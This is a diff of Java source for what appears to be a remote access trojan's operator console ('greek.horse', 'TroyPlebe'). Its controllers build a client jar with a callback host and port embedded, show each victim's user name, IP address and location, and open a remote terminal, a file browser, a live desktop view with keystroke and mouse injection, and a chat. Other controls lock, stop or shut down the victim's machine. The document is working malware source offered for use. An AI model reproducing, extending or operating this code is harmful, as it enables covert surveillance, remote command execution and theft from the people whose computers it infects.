log.error("Error getting info from row: ", e); |
|||
} |
|||
} |
|||
|
|||
|
|||
public void contextFilesBrowser(TableRow<NetInfoTable> row) { |
|||
try { |
|||
TroyPlebe tp = row.getItem().getFather(); |
|||
threadPool.execute(new FileBrowserTask(tp)); |
|||
} catch (Exception e) { |
|||
log.error("Error getting info from row: ", e); |
|||
} |
|||
} |
|||
|
|||
public void contextDisconnect(TableRow<NetInfoTable> row) { |
|||
try { |
|||
TroyPlebe tp = row.getItem().getFather(); |
|||
threadPool.execute(tp::getDisconnect); |
|||
} catch (Exception e) { |
|||
log.error("Error getting info from row: ", e); |
|||
} |
|||
} |
|||
|
|||
public void contextLock(TableRow<NetInfoTable> row, boolean lock) { |
|||
try { |
|||
TroyPlebe tp = row.getItem().getFather(); |
|||
threadPool.execute(() -> tp.doToggleLock(lock)); |
|||
|
|||
} catch (Exception e) { |
|||
log.error("Error starting context from row: ", e); |
|||
} |
|||
} |
|||
|
|||
public void contextStop(TableRow<NetInfoTable> row) { |
|||
try { |
|||
TroyPlebe tp = row.getItem().getFather(); |
|||
threadPool.execute(tp::doStop); |
|||
|
|||
} catch (Exception e) { |
|||
log.error("Error starting context from row: ", e); |
|||
} |
|||
} |
|||
|
|||
public void buildBtn(ActionEvent event) { |
|||
String host = hostBuild.getText(); |
|||
if (host.isEmpty() || host.contains(" ")) { |
|||
showDialog("Host address is invalid", "Something is wrong, fix and try it again.", Alert.AlertType.ERROR); |
|||
return; |
|||
} |
|||
String port = portBuild.getText(); |
|||
if (port.isEmpty() || !port.matches("[0-9]+") || Integer.parseInt(port) > 65535 || Integer.parseInt(port) < 1) { |
|||
showDialog("Port number is invalid", "Something is wrong, fix and try it again.", Alert.AlertType.ERROR); |
|||
return; |
|||
} |
|||
|
|||
CodeSource src = ChatApp.class.getProtectionDomain().getCodeSource(); |
|||
URL jar = src.getLocation(); |
|||
|
|||
if (!jar.getFile().contains(".jar")) { |
|||
showDialog("Can't access jar", "To build the client, it's necessary to run this horse from the .jar version. To build it, use something like: 'compile package -Dmy.mainClass=greek.horse.server.ui.Launcher'", Alert.AlertType.ERROR); |
|||
return; |
|||
} |
|||
|
|||
FileChooser fileChooser = new FileChooser(); |
|||
fileChooser.setInitialDirectory(FileSystemView.getFileSystemView().getHomeDirectory()); |
|||
fileChooser.getExtensionFilters().add(new FileChooser.ExtensionFilter("Jar file", "*.jar")); |
|||
File saveFile = fileChooser.showSaveDialog(stage); |
|||
|
|||
if (saveFile == null || saveFile.exists()) { |
|||
showDialog("Invalid save location", "Make sure the file doesn't exist (overwriting is not supported), and that you haven't just closed the ask dialog (you need to choose something)", Alert.AlertType.ERROR); |
|||
return; |
|||
} |
|||
|
|||
BuildJarTask buildTask = new BuildJarTask(saveFile, this, host, port); |
|||
threadPool.execute(buildTask); |
|||
this.buildBtn.setDisable(true); |
|||
showDialog("Wait until done", "The jar is being built in the background. You'll be notified when it's done.", Alert.AlertType.WARNING); |
|||
|
|||
} |
|||
|
|||
public void contextChat(TableRow<NetInfoTable> row) { |
|||
try { |
|||
TroyPlebe tp = row.getItem().getFather(); |
|||
boolean running = tp.getChatTask().getRunning().get(); |
|||
if (!running) { |
|||
tp.getChatTask().getRunning().set(true); |
|||
threadPool.execute(tp.getChatTask()); |
|||
} |
|||
} catch (Exception e) { |
|||
log.error("Error getting info from row: ", e); |
|||
} |
|||
|
|||
} |
|||
|
|||
public void contextTerminal(TableRow<NetInfoTable> row) { |
|||
try { |
|||
TroyPlebe tp = row.getItem().getFather(); |
|||
boolean running = tp.getTerminalTask().getRunning().get(); |
|||
if (!running) { |
|||
tp.getTerminalTask().getRunning().set(true); |
|||
threadPool.execute(tp.getTerminalTask()); |
|||
} |
|||
} catch (Exception e) { |
|||
log.error("Error getting info from row: ", e); |
|||
} |
|||
} |
|||
|
|||
public void contextFullData(TableRow<NetInfoTable> row) { |
|||
try { |
|||
TroyPlebe tp = row.getItem().getFather(); |
|||
Alert alert = new Alert(Alert.AlertType.INFORMATION); |
|||
alert.setTitle("Full data - " + tp.getTitle()); |
|||
alert.initOwner(stage); |
|||
alert.initModality(Modality.WINDOW_MODAL); |
|||
|
|||
NetInfo netInfo = (NetInfo) tp.getNetInfo().getReceivedObj(); |
|||
|
|||
List<String> names = Arrays.asList( |
|||
"User name: ", |
|||
"OS: ", |
|||
"Big OS: ", |
|||
"Host name: ", |
|||
"Local IP: ", |
|||
"External IP: ", |
|||
"Country: ", |
|||
"Region: ", |
|||
"City: ", |
|||
"Time zone: ", |
|||
"ISP: ", |
|||
"ORG: ", |
|||
"AS: " |
|||
); |
|||
|
|||
List<String> values = Arrays.asList( |
|||
netInfo.getUserName(), |
|||
netInfo.getOs().toString(), |
|||
netInfo.getBigOs(), |
|||
netInfo.getHostName(), |
|||
netInfo.getLocalIP(), |
|||
netInfo.getExternalIP(), |
|||
netInfo.getCountry(), |
|||
netInfo.getRegion(), |
|||
netInfo.getCity(), |
|||
netInfo.getTimeZone(), |
|||
netInfo.getIsp(), |
|||
netInfo.getOrg(), |
|||
netInfo.getAs() |
|||
); |
|||
|
|||
TextFlow textFlow = new TextFlow(); |
|||
textFlow.setBackground(new Background(new BackgroundFill(Color.WHITE, new CornerRadii(0), new Insets(0)))); |
|||
Border border = new Border(new BorderStroke(Color.GREY, BorderStrokeStyle.SOLID, new CornerRadii(0), new BorderWidths(1), new Insets(5))); |
|||
textFlow.setPadding(new Insets(5)); |
|||
textFlow.setBorder(border); |
|||
textFlow.setFocusTraversable(true); |
|||
|
|||
for (int i = 0; i < names.size(); i++) { |
|||
Text nameText = new Text(names.get(i)+" "); |
|||
nameText.setFill(Color.BLUE); |
|||
nameText.setFont(Font.font("System", FontWeight.NORMAL, FontPosture.REGULAR, 16)); |
|||
|
|||
Text valueText = new Text(values.get(i)+"\n"); |
|||
valueText.setFill(Color.BLACK); |
|||
valueText.setFont(Font.font("System", FontWeight.NORMAL, FontPosture.REGULAR, 16)); |
|||
|
|||
textFlow.getChildren().addAll(nameText, valueText); |
|||
} |
|||
|
|||
|
|||
alert.getDialogPane().setContent(textFlow); |
|||
alert.setHeaderText("Query Info"); |
|||
alert.showAndWait(); |
|||
|
|||
} catch (Exception e) { |
|||
log.error("Error getting info from row: ", e); |
|||
} |
|||
} |
|||
|
|||
public void contextOff(TableRow<NetInfoTable> row) { |
|||
try { |
|||
TroyPlebe tp = row.getItem().getFather(); |
|||
tp.turnOff(); |
|||
} catch (Exception e) { |
|||
log.error("Error getting info from row: ", e); |
|||
} |
|||
} |
|||
} |
|||
|
|||
|
|||
|
|||
|
|||
|
|||
|
|||
|
|||
|
|||
|
|||
|
|||
|
|||
|
|||
|
|||
|
|||
|
|||
|
|||
|
|||
|
|||
|
|||
|
|||
|
|||
|
|||
|
|||
|
|||
|
@ -0,0 +1,160 @@ |
|||
package greek.horse.server.ui.controllers; |
|||
|
|||
import greek.horse.models.Mode; |
|||
import greek.horse.models.UserInput; |
|||
import greek.horse.server.ui.controllers.tasks.MonitorDesktopTask; |
|||
import javafx.embed.swing.SwingFXUtils; |
|||
import javafx.event.ActionEvent; |
|||
import javafx.scene.control.CheckBox; |
|||
import javafx.scene.control.ChoiceBox; |
|||
import javafx.scene.image.ImageView; |
|||
import javafx.scene.input.MouseButton; |
|||
import javafx.scene.input.MouseEvent; |
|||
import javafx.scene.paint.Color; |
|||
import javafx.scene.text.Text; |
|||
import javafx.stage.Stage; |
|||
|
|||
import java.awt.event.InputEvent; |
|||
import java.awt.event.KeyEvent; |
|||
import java.awt.image.BufferedImage; |
|||
import java.util.ArrayList; |
|||
import java.util.HashMap; |
|||
import java.util.List; |
|||
import java.util.concurrent.CopyOnWriteArrayList; |
|||
|
|||
public class MonitorDesktopController { |
|||
public ImageView imageView; |
|||
public CheckBox compressionCheck; |
|||
public CheckBox keysCheck; |
|||
public CheckBox clicksCheck; |
|||
public Text fpsText; |
|||
public ChoiceBox<String> choiceBox; |
|||
public Text statusCircleText; |
|||
private Stage stage; |
|||
|
|||
private final CopyOnWriteArrayList<UserInput> clicksInputs = new CopyOnWriteArrayList<>(); |
|||
private final CopyOnWriteArrayList<UserInput> keysInputs = new CopyOnWriteArrayList<>(); |
|||
private final static HashMap<Integer, Integer> things = createMap(); |
|||
private MonitorDesktopTask task; |
|||
|
|||
private static HashMap<Integer, Integer> createMap() { |
|||
HashMap<Integer, Integer> map = new HashMap<>(); |
|||
map.put(129, KeyEvent.VK_DEAD_ACUTE); |
|||
map.put(131, KeyEvent.VK_DEAD_TILDE); |
|||
map.put(222, KeyEvent.VK_QUOTE); |
|||
return map; |
|||
} |
|||
|
|||
public void setStage(Stage stage) { |
|||
this.stage = stage; |
|||
stage.getScene().setOnKeyPressed(e -> { |
|||
if (stage.isShowing() && isSendingKeys()) { |
|||
UserInput press = new UserInput(e.getCode().getCode(), Mode.KEY_PRESSED); |
|||
keysInputs.add(press); |
|||
if (things.containsKey(e.getCode().getCode())) { |
|||
keysInputs.add(new UserInput(e.getCode().getCode(), Mode.KEY_RELEASED)); |
|||
press.setPaired(true); |
|||
} |
|||
} |
|||
e.consume(); |
|||
}); |
|||
stage.getScene().setOnKeyReleased(e -> { |
|||
if (stage.isShowing() && isSendingKeys()) { |
|||
UserInput pair = keysInputs.parallelStream().filter(ui -> !ui.getPaired() && ui.getMode().equals(Mode.KEY_PRESSED) && ui.getKey() == e.getCode().getCode()).findFirst().get(); |
|||
pair.setPaired(true); |
|||
keysInputs.add(new UserInput(e.getCode().getCode(), Mode.KEY_RELEASED)); |
|||
} |
|||
e.consume(); |
|||
}); |
|||
} |
|||
|
|||
public void configureChoiceBox() { |
|||
choiceBox.getSelectionModel().selectFirst(); |
|||
choiceBox.getSelectionModel().selectedIndexProperty() |
|||
.addListener((observableValue, oldIndex, newIndex) -> { |
|||
task.refreshSettings(); |
|||
}); |
|||
} |
|||
|
|||
public Stage getStage() { |
|||
return stage; |
|||
} |
|||
|
|||
public void setImage(BufferedImage screenCapture) { |
|||
imageView.setFitWidth(screenCapture.getWidth()); |
|||
imageView.setFitHeight(screenCapture.getHeight()); |
|||
imageView.setImage(SwingFXUtils.toFXImage(screenCapture, null)); |
|||
} |
|||
|
|||
public boolean isCompressed() { |
|||
return compressionCheck.isSelected(); |
|||
} |
|||
|
|||
public boolean isSendingKeys() { |
|||
return keysCheck.isSelected(); |
|||
} |
|||
|
|||
public boolean isSendingClicks() { |
|||
return clicksCheck.isSelected(); |
|||
} |
|||
|
|||
private int getButton(MouseButton button) { |
|||
return switch (button) { |
|||
case PRIMARY -> InputEvent.BUTTON1_DOWN_MASK; |
|||
case SECONDARY -> InputEvent.BUTTON3_DOWN_MASK; |
|||
default -> 0; |
|||
}; |
|||
} |
|||
|
|||
public List<UserInput> getInputs() { |
|||
ArrayList<UserInput> sincList = new ArrayList<>(keysInputs); |
|||
boolean allClosed = sincList.parallelStream().allMatch(ui -> ui.getMode().equals(Mode.KEY_RELEASED) |
|||
|| ui.getPaired()); |
|||
ArrayList<UserInput> ret; |
|||
if (allClosed) { |
|||
ret = new ArrayList<>(); |
|||
ret.addAll(sincList); |
|||
ret.addAll(clicksInputs); |
|||
|
|||
keysInputs.removeAll(sincList); |
|||
} else { |
|||
ret = new ArrayList<>(clicksInputs); |
|||
} |
|||
clicksInputs.clear(); |
|||
return ret; |
|||
} |
|||
|
|||
public void mousePressed(MouseEvent event) { |
|||
if (isSendingClicks() && |
|||
(event.getButton().equals(MouseButton.PRIMARY) || event.getButton().equals(MouseButton.SECONDARY))) { |
|||
this.clicksInputs.add(new UserInput(getButton(event.getButton()), (int) event.getX(), (int) event.getY(), Mode.CLICK_PRESSED)); |
|||
} |
|||
} |
|||
|
|||
public void MouseReleased(MouseEvent event) { |
|||
if (isSendingClicks() && |
|||
(event.getButton().equals(MouseButton.PRIMARY) || event.getButton().equals(MouseButton.SECONDARY))) { |
|||
this.clicksInputs.add(new UserInput(getButton(event.getButton()), (int) event.getX(), (int) event.getY(), Mode.CLICK_RELEASED)); |
|||
} |
|||
} |
|||
|
|||
public void setTask(MonitorDesktopTask monitorDesktopTask) { |
|||
this.task = monitorDesktopTask; |
|||
} |
|||
|
|||
public void toggleImageCompression(ActionEvent event) { |
|||
this.task.refreshSettings(); |
|||
} |
|||
|
|||
public void setFpsText(int fps) { |
|||
if (fps>=4){ |
|||
statusCircleText.setFill(Color.rgb(0,150,0)); |
|||
} else if (fps==3){ |
|||
statusCircleText.setFill(Color.DARKGOLDENROD); |
|||
} else { |
|||
statusCircleText.setFill(Color.rgb(200,0,0)); |
|||
|
|||
} |
|||
this.fpsText.setText(String.valueOf(fps)); |
|||
} |
|||
} |
@ -0,0 +1,64 @@ |
|||
package greek.horse.server.ui.controllers; |
|||
|
|||
import greek.horse.server.troyStructure.TroyPlebe; |
|||
import javafx.application.Platform; |
|||
import javafx.event.ActionEvent; |
|||
import javafx.scene.control.ScrollPane; |
|||
import javafx.scene.control.TextField; |
|||
import javafx.scene.input.KeyCode; |
|||
import javafx.scene.paint.Color; |
|||
import javafx.scene.text.*; |
|||
import javafx.stage.Stage; |
|||
|
|||
public class TerminalController { |
|||
public TextField textFieldCommand; |
|||
public TextFlow textFlow; |
|||
public ScrollPane scrollPane; |
|||
private TroyPlebe plebe; |
|||
private Stage stage; |
|||
|
|||
|
|||
public void begin() { |
|||
scrollPane.vvalueProperty().bind(textFlow.heightProperty()); |
|||
textFieldCommand.setOnKeyPressed(e -> { |
|||
if (e.getCode().equals(KeyCode.ENTER)) { |
|||
sendCommand(); |
|||
} |
|||
}); |
|||
} |
|||
|
|||
public void setPlebe(TroyPlebe plebe) { |
|||
this.plebe = plebe; |
|||
} |
|||
|
|||
public void sendBtn(ActionEvent event) { |
|||
sendCommand(); |
|||
} |
|||
|
|||
private void sendCommand() { |
|||
String command = textFieldCommand.getText(); |
|||
if (command.isEmpty()) { |
|||
return; |
|||
} |
|||
this.plebe.sendTerminalCommand(command); |
|||
textFieldCommand.setText(""); |
|||
} |
|||
|
|||
public void addTextLine(String line) { |
|||
Text newLine = new Text(line.replaceAll("\n", "").replaceAll("\r", "").concat("\n")); |
|||
newLine.setFill(Color.WHITE); |
|||
newLine.setFont(Font.font("Consolas", FontWeight.NORMAL, FontPosture.REGULAR, 16)); |
|||
|
|||
Platform.runLater(() -> { |
|||
textFlow.getChildren().add(newLine); |
|||
}); |
|||
} |
|||
|
|||
public void setStage(Stage stage) { |
|||
this.stage = stage; |
|||
} |
|||
|
|||
public Stage getStage() { |
|||
return stage; |
|||
} |
|||
} |
@ -0,0 +1,99 @@ |
|||
package greek.horse.server.ui.controllers.tasks; |
|||
|
|||
import greek.horse.server.ui.ChatApp; |
|||
import greek.horse.server.ui.controllers.HorseController; |
|||
import javafx.application.Platform; |
|||
import javafx.scene.control.Alert; |
|||
import org.zeroturnaround.zip.ZipUtil; |
|||
import org.zeroturnaround.zip.commons.FileUtils; |
|||
|
|||
import java.io.File; |
|||
import java.io.FileWriter; |
|||
import java.nio.charset.StandardCharsets; |
|||
import java.nio.file.Files; |
|||
import java.nio.file.Path; |
|||
import java.security.CodeSource; |
|||
import java.util.ArrayList; |
|||
import java.util.Scanner; |
|||
|
|||
public class BuildJarTask implements Runnable { |
|||
|
|||
private final File outDir; |
|||
private final HorseController horseController; |
|||
private final String host; |
|||
private final String port; |
|||
|
|||
public BuildJarTask(File saveFile, HorseController horseController, String host, String port) { |
|||
this.outDir = saveFile; |
|||
this.horseController = horseController; |
|||
this.host = host; |
|||
this.port = port; |
|||
} |
|||
|
|||
@Override |
|||
public void run() { |
|||
try { |
|||
CodeSource src = ChatApp.class.getProtectionDomain().getCodeSource(); |
|||
Path temp = Files.createTempDirectory("build_temp_"); |
|||
String temp_path = temp.toFile().getPath(); |
|||
|
|||
ZipUtil.unpack(new File(src.getLocation().getPath()), temp.toFile(), StandardCharsets.UTF_8); |
|||
FileUtils.deleteDirectory(new File(temp.toFile().getPath() + File.separator + "images")); |
|||
FileUtils.deleteDirectory(new File(temp.toFile().getPath() + File.separator + "scenes")); |
|||
FileUtils.deleteDirectory(new File(temp.toFile().getPath() + File.separator + "javafx")); |
|||
FileUtils.deleteDirectory(new File(temp.toFile().getPath() |
|||
+ File.separator + "greek" |
|||
+ File.separator + "horse" |
|||
+ File.separator + "server" |
|||
)); |
|||
FileUtils.deleteDirectory(new File(temp.toFile().getPath() |
|||
+ File.separator + "greek" |
|||
+ File.separator + "horse" |
|||
+ File.separator + "test" |
|||
)); |
|||
|
|||
File meta = new File(temp_path + File.separator + "META-INF" + File.separator + "MANIFEST.MF"); |
|||
ArrayList<String> lines = new ArrayList<>(); |
|||
try (Scanner scanner = new Scanner(meta)) { |
|||
while (scanner.hasNext()) { |
|||
lines.add(scanner.nextLine()); |
|||
} |
|||
} |
|||
String lastLine = lines.get(lines.size() - 1); |
|||
lines.remove(lines.size() - 1); |
|||
|
|||
try (FileWriter writer = new FileWriter(meta, false)) { |
|||
for (String l : lines) { |
|||
writer.append(l).append("\n"); |
|||
} |
|||
writer.append(lastLine.replace("greek.horse.server.ui.Launcher", "greek.horse.client.TroyClient\n\n")); |
|||
writer.flush(); |
|||
} |
|||
|
|||
try (FileWriter writer = new FileWriter(temp.toFile().getPath() + File.separator + "connection.data", false)) { |
|||
writer.append(host).append("\n"); |
|||
writer.append(port).append("\n"); |
|||
writer.flush(); |
|||
} |
|||
|
|||
ZipUtil.pack(temp.toFile(), new File(this.outDir.getPath())); |
|||
FileUtils.deleteDirectory(temp.toFile()); |
|||
|
|||
Platform.runLater(() -> { |
|||
this.horseController.showDialog("Success building jar", "The jar file is ready. Go check it.", Alert.AlertType.INFORMATION); |
|||
}); |
|||
|
|||
} catch (Exception e) { |
|||
e.printStackTrace(); |
|||
Platform.runLater(() -> { |
|||
this.horseController.showDialog("Failed to build jar", "Something went wrong. Try it again. (" + e.getMessage() + ")", Alert.AlertType.ERROR); |
|||
}); |
|||
} finally { |
|||
Platform.runLater(() ->{ |
|||
this.horseController.buildBtn.setDisable(false); |
|||
}); |
|||
} |
|||
|
|||
|
|||
} |
|||
} |
@ -0,0 +1,102 @@ |
|||
package greek.horse.server.ui.controllers.tasks; |
|||
|
|||
import greek.horse.models.MessageType; |
|||
import greek.horse.server.troyStructure.TroyPlebe; |
|||
import greek.horse.server.troyStructure.request.RecurrentTroyRequest; |
|||
import greek.horse.server.ui.ChatApp; |
|||
import greek.horse.server.ui.controllers.ChatController; |
|||
import javafx.application.Platform; |
|||
import javafx.collections.ListChangeListener; |
|||
import javafx.fxml.FXMLLoader; |
|||
import javafx.scene.Parent; |
|||
import javafx.scene.Scene; |
|||
import javafx.stage.Stage; |
|||
import org.apache.log4j.Logger; |
|||
|
|||
import java.io.IOException; |
|||
import java.util.concurrent.atomic.AtomicBoolean; |
|||
|
|||
public class ChatTask implements Runnable { |
|||
private final TroyPlebe plebe; |
|||
|
|||
private ChatController controller; |
|||
private final AtomicBoolean running = new AtomicBoolean(false); |
|||
|
|||
public ChatTask(TroyPlebe tp) { |
|||
this.plebe = tp; |
|||
} |
|||
|
|||
@Override |
|||
public void run() { |
|||
AtomicBoolean start = new AtomicBoolean(false); |
|||
|
|||
Platform.runLater(() -> { |
|||
try { |
|||
Stage stage = new Stage(); |
|||
stage.setTitle("Chat - " + plebe.getTitle()); |
|||
stage.getIcons().add(ChatApp.appIcon); |
|||
|
|||
FXMLLoader loader = new FXMLLoader(getClass().getClassLoader().getResource("scenes/chat.fxml")); |
|||
Parent root = loader.load(); |
|||
|
|||
stage.setOnCloseRequest(e -> this.running.set(false)); |
|||
|
|||
Scene scene = new Scene(root); |
|||
stage.setScene(scene); |
|||
|
|||
controller = loader.getController(); |
|||
controller.setPlebe(plebe); |
|||
controller.setStage(stage); |
|||
|
|||
stage.show(); |
|||
|
|||
} catch (IOException e) { |
|||
e.printStackTrace(); |
|||
} finally { |
|||
start.set(true); |
|||
} |
|||
}); |
|||
|
|||
while (!start.get()) { |
|||
try { |
|||
Thread.sleep(100); |
|||
} catch (InterruptedException e) { |
|||
e.printStackTrace(); |
|||
} |
|||
} |
|||
|
|||
controller.begin(); |
|||
|
|||
RecurrentTroyRequest request = (RecurrentTroyRequest) this.plebe.startChat(); |
|||
|
|||
request.getObservableReceivedObjs().addListener((ListChangeListener<? super Object>) listener -> { |
|||
listener.next(); |
|||
|
|||
for (Object obj : listener.getAddedSubList()) { |
|||
String line = (String) obj; |
|||
controller.addTextLine(MessageType.CLIENT_NAME, line, MessageType.CLIENT); |
|||
} |
|||
|
|||
}); |
|||
|
|||
while (plebe.getRunning().get() && this.running.get()) { |
|||
try { |
|||
Thread.sleep(200); |
|||
} catch (InterruptedException e) { |
|||
e.printStackTrace(); |
|||
} |
|||
} |
|||
|
|||
if (!request.getReleased().get()) { |
|||
this.plebe.releaseRequest(request); |
|||
} |
|||
|
|||
Platform.runLater(() -> { |
|||
controller.getStage().hide(); |
|||
}); |
|||
} |
|||
|
|||
public AtomicBoolean getRunning() { |
|||
return running; |
|||
} |
|||
} |
@ -0,0 +1,77 @@ |
|||
package greek.horse.server.ui.controllers.tasks; |
|||
|
|||
import greek.horse.server.troyStructure.TroyPlebe; |
|||
import greek.horse.server.ui.ChatApp; |
|||
import greek.horse.server.ui.controllers.FileBrowserController; |
|||
import javafx.application.Platform; |
|||
import javafx.fxml.FXMLLoader; |
|||
import javafx.scene.Parent; |
|||
import javafx.scene.Scene; |
|||
import javafx.stage.Stage; |
|||
|
|||
import java.io.IOException; |
|||
import java.util.concurrent.atomic.AtomicBoolean; |
|||
|
|||
public class FileBrowserTask implements Runnable { |
|||
private final TroyPlebe plebe; |
|||
|
|||
private FileBrowserController controller; |
|||
|
|||
public FileBrowserTask(TroyPlebe tp) { |
|||
this.plebe = tp; |
|||
} |
|||
|
|||
@Override |
|||
public void run() { |
|||
AtomicBoolean start = new AtomicBoolean(false); |
|||
|
|||
Platform.runLater(() -> { |
|||
try { |
|||
Stage stage = new Stage(); |
|||
stage.setTitle("File Browser - " + plebe.getTitle()); |
|||
stage.getIcons().add(ChatApp.appIcon); |
|||
|
|||
FXMLLoader loader = new FXMLLoader(getClass().getClassLoader().getResource("scenes/filesBrowser.fxml")); |
|||
Parent root = loader.load(); |
|||
|
|||
Scene scene = new Scene(root); |
|||
stage.setScene(scene); |
|||
|
|||
controller = loader.getController(); |
|||
controller.setPlebe(plebe); |
|||
controller.setStage(stage); |
|||
controller.setTitle(plebe.getTitle()); |
|||
|
|||
stage.show(); |
|||
|
|||
} catch (IOException e) { |
|||
e.printStackTrace(); |
|||
} finally { |
|||
start.set(true); |
|||
} |
|||
}); |
|||
|
|||
while (!start.get()) { |
|||
try { |
|||
Thread.sleep(100); |
|||
} catch (InterruptedException e) { |
|||
e.printStackTrace(); |
|||
} |
|||
} |
|||
|
|||
controller.begin(); |
|||
|
|||
while (plebe.getRunning().get()) { |
|||
try { |
|||
Thread.sleep(200); |
|||
} catch (InterruptedException e) { |
|||
e.printStackTrace(); |
|||
} |
|||
} |
|||
Platform.runLater(() -> { |
|||
controller.getStage().hide(); |
|||
}); |
|||
|
|||
} |
|||
|
|||
} |
@ -0,0 +1,183 @@ |
|||
package greek.horse.server.ui.controllers.tasks; |
|||
|
|||
import greek.horse.models.MonitorDesktopWrapper; |
|||
import greek.horse.models.UserInput; |
|||
import greek.horse.server.troyStructure.TroyPlebe; |
|||
import greek.horse.server.troyStructure.request.RecurrentTroyRequest; |
|||
import greek.horse.server.ui.ChatApp; |
|||
import greek.horse.server.ui.controllers.MonitorDesktopController; |
|||
import javafx.application.Platform; |
|||
import javafx.collections.ListChangeListener; |
|||
import javafx.collections.ObservableList; |
|||
import javafx.fxml.FXMLLoader; |
|||
import javafx.scene.Parent; |
|||
import javafx.scene.Scene; |
|||
import javafx.stage.Stage; |
|||
import org.apache.log4j.Logger; |
|||
|
|||
import javax.imageio.ImageIO; |
|||
import java.awt.image.BufferedImage; |
|||
import java.io.ByteArrayInputStream; |
|||
import java.io.IOException; |
|||
import java.util.ArrayList; |
|||
import java.util.Timer; |
|||
import java.util.TimerTask; |
|||
import java.util.concurrent.atomic.AtomicBoolean; |
|||
import java.util.concurrent.atomic.AtomicLong; |
|||
|
|||
public class MonitorDesktopTask implements Runnable { |
|||
private final TroyPlebe plebe; |
|||
private final AtomicBoolean running = new AtomicBoolean(false); |
|||
private MonitorDesktopController controller; |
|||
private RecurrentTroyRequest request; |
|||
private Timer timer; |
|||
|
|||
private static final Logger log = Logger.getLogger(MonitorDesktopController.class); |
|||
|
|||
public MonitorDesktopTask(TroyPlebe tp) { |
|||
this.plebe = tp; |
|||
} |
|||
|
|||
@Override |
|||
public void run() { |
|||
AtomicBoolean start = new AtomicBoolean(false); |
|||
Platform.runLater(() -> { |
|||
try { |
|||
Stage stage = new Stage(); |
|||
stage.setTitle("Desktop Monitor - " + plebe.getTitle()); |
|||
stage.getIcons().add(ChatApp.appIcon); |
|||
|
|||
FXMLLoader loader = new FXMLLoader(getClass().getClassLoader().getResource("scenes/desktop.fxml")); |
|||
Parent root = loader.load(); |
|||
|
|||
Scene scene = new Scene(root); |
|||
stage.setScene(scene); |
|||
|
|||
stage.setOnCloseRequest(e -> this.running.set(false)); |
|||
|
|||
controller = loader.getController(); |
|||
controller.setStage(stage); |
|||
controller.setTask(this); |
|||
|
|||
stage.show(); |
|||
|
|||
} catch (IOException e) { |
|||
e.printStackTrace(); |
|||
} finally { |
|||
start.set(true); |
|||
} |
|||
}); |
|||
|
|||
loadMonitors(); |
|||
|
|||
while (!start.get()) { |
|||
try { |
|||
Thread.sleep(100); |
|||
} catch (InterruptedException e) { |
|||
e.printStackTrace(); |
|||
} |
|||
} |
|||
|
|||
startListening(); |
|||
|
|||
while (this.running.get() && this.plebe.getRunning().get()) { |
|||
try { |
|||
Thread.sleep(100); |
|||
} catch (InterruptedException e) { |
|||
log.error(e); |
|||
} |
|||
} |
|||
|
|||
timer.cancel(); |
|||
timer.purge(); |
|||
|
|||
if (this.plebe.getRunning().get() && !request.getReleased().get()) { |
|||
this.plebe.releaseRequest(request); |
|||
} |
|||
|
|||
Platform.runLater(() -> { |
|||
controller.getStage().hide(); |
|||
}); |
|||
|
|||
} |
|||
|
|||
private void loadMonitors() { |
|||
Platform.runLater(() -> { |
|||
try { |
|||
int count = (int) plebe.getMonitorCount().getReceivedObj(); |
|||
ArrayList<String> list = new ArrayList<>(); |
|||
for (int i = 1; i <= count; i++) { |
|||
list.add("Monitor " + i); |
|||
} |
|||
controller.choiceBox.getItems().addAll(list); |
|||
} catch (Exception e) { |
|||
log.error("Failed to get monitors", e); |
|||
controller.choiceBox.getItems().add("Monitor 1"); |
|||
} finally { |
|||
controller.configureChoiceBox(); |
|||
} |
|||
}); |
|||
|
|||
} |
|||
|
|||
private void startListening() { |
|||
double w = controller.getStage().getWidth() - 50; |
|||
double h = controller.getStage().getHeight() - 70; |
|||
|
|||
request = plebe.getScreenCapture(new MonitorDesktopWrapper(w, h, controller.isCompressed(), 0)); |
|||
|
|||
ObservableList<Object> observableList = request.getObservableReceivedObjs(); |
|||
|
|||
long initTime = System.currentTimeMillis(); |
|||
AtomicLong frameCount = new AtomicLong(); |
|||
ListChangeListener<? super Object> changeListener = listener -> { |
|||
listener.next(); // this is needed for some reason |
|||
|
|||
// only need one per refresh |
|||
ArrayList<UserInput> inputs = getInputs(); |
|||
if (inputs.size() > 0) { |
|||
plebe.sendUserInputs(inputs); |
|||
} |
|||
|
|||
// as many refreshes as arrived |
|||
for (Object obj : listener.getAddedSubList()) { |
|||
try { |
|||
BufferedImage bi = ImageIO.read(new ByteArrayInputStream((byte[]) obj)); |
|||
controller.setImage(bi); |
|||
frameCount.getAndIncrement(); |
|||
} catch (Exception e) { |
|||
log.error("Cast failed, image not set", e); |
|||
} |
|||
} |
|||
|
|||
}; |
|||
|
|||
observableList.addListener(changeListener); |
|||
|
|||
timer = new Timer(); |
|||
timer.scheduleAtFixedRate(new TimerTask() { |
|||
@Override |
|||
public void run() { |
|||
refreshSettings(); |
|||
Platform.runLater(() -> { |
|||
controller.setFpsText((int) (frameCount.get() / Math.floorDiv(System.currentTimeMillis() - initTime, 1000))); |
|||
}); |
|||
} |
|||
}, 2000, 2000); |
|||
} |
|||
|
|||
private ArrayList<UserInput> getInputs() { |
|||
ArrayList<UserInput> list = new ArrayList<>(controller.getInputs()); |
|||
return list; |
|||
} |
|||
|
|||
public void refreshSettings() { |
|||
double w = controller.getStage().getWidth() - 50; |
|||
double h = controller.getStage().getHeight() - 70; |
|||
this.plebe.refreshDesktop(new MonitorDesktopWrapper(w, h, controller.isCompressed(), controller.choiceBox.getSelectionModel().getSelectedIndex())); |
|||
} |
|||
|
|||
public AtomicBoolean getRunning() { |
|||
return running; |
|||
} |
|||
} |
@ -0,0 +1,129 @@ |
|||
package greek.horse.server.ui.controllers.tasks; |
|||
|
|||
import greek.horse.models.NetInfo; |
|||
import greek.horse.models.OS; |
|||
import greek.horse.server.troyStructure.TroyPlebe; |
|||
import greek.horse.server.troyStructure.request.RecurrentTroyRequest; |
|||
import greek.horse.server.ui.ChatApp; |
|||
import greek.horse.server.ui.controllers.TerminalController; |
|||
import javafx.application.Platform; |
|||
import javafx.collections.ListChangeListener; |
|||
import javafx.fxml.FXMLLoader; |
|||
import javafx.scene.Parent; |
|||
import javafx.scene.Scene; |
|||
import javafx.scene.control.Alert; |
|||
import javafx.stage.Modality; |
|||
import javafx.stage.Stage; |
|||
import org.apache.log4j.Logger; |
|||
|
|||
import java.io.IOException; |
|||
import java.util.concurrent.atomic.AtomicBoolean; |
|||
|
|||
public class TerminalTask implements Runnable { |
|||
|
|||
private final TroyPlebe plebe; |
|||
private TerminalController controller; |
|||
